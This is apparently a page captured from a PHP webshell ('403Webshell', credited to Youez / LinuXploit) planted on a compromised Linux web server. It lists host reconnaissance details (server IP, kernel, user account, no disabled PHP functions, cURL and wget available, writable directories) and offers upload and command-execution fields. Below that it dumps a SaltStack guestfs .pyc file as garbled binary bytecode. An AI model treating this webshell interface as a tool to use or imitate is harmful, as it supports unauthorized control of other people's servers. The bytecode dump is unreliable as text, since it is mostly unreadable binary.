403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/guestfs.cpython-310.pyc
o

;j`	�@sjdZddlZddlZddlZddlZddlZddlZddlm	Z	e�
e�Zdd�Z
ddd�Zdd	d
�ZdS)
zO
Interact with virtual machine images via libguestfs

:depends:   - libguestfs
�N)�DEFAULT_HASH_TYPEcCstjj�d�r	dSdS)z?
    Only load if libguestfs python bindings are installed
    Z
guestmountZguestfs)FzMThe guestfs execution module cannot be loaded: guestmount binary not in path.)�salt�utils�path�which�rr�H/opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/guestfs.py�__virtual__sr	�rwcCs4|durtj�t��d|�tj��dd��}t�	d|�tj�
|�s3zt�|�Wn	ty2Ynw	t�
|�r�ttt�dt��}|t�d����}tj�t��d|�tj��dd�|�}t�	d	|�tj�
|�s�zt�|�Wnty�t�d
|�Ynwnnq4d|�d|�d
|��}td|dd�|S)zz
    Mount an image

    CLI Example:

    .. code-block:: bash

        salt '*' guest.mount /srv/images/fedora.qcow
    NZguest�/�.z
Using root %sT�	hash_type� zEstablishing new root as %szPath already existing: %szguestmount -i -a z --� �cmd.runF)Zpython_shell)�osr�join�tempfileZ
gettempdir�lstrip�sep�replace�log�debug�isdir�makedirs�OSError�listdir�getattr�hashlibZ__opts__�getr�urandom�	hexdigest�info�__salt__)�location�access�rootr
Zrand�cmdrrr�mountsB
��
����r(cCs�d|��}td|�d}|durF|dkrJttdd|������dkrL|d}t�d�|durH|dkrNttdd|������dks$dSdSdSdSdSdS)z�
    Unmount an image

    CLI Example:

    .. code-block:: bash

        salt '*' guestfs.umount /mountpoint disk=/srv/images/fedora.qcow
    zguestunmount -q rrN�zlsof �)r#�len�
splitlines�time�sleep)�nameZdiskr'Zloopsrrr�umountKs


�"��r0)r
N)N)�__doc__r�loggingrrr-Zsalt.utils.pathrZsalt.configr�	getLogger�__name__rr	r(r0rrrr�<module>s

,

Youez - 2016 - github.com/yon3zu
LinuXploit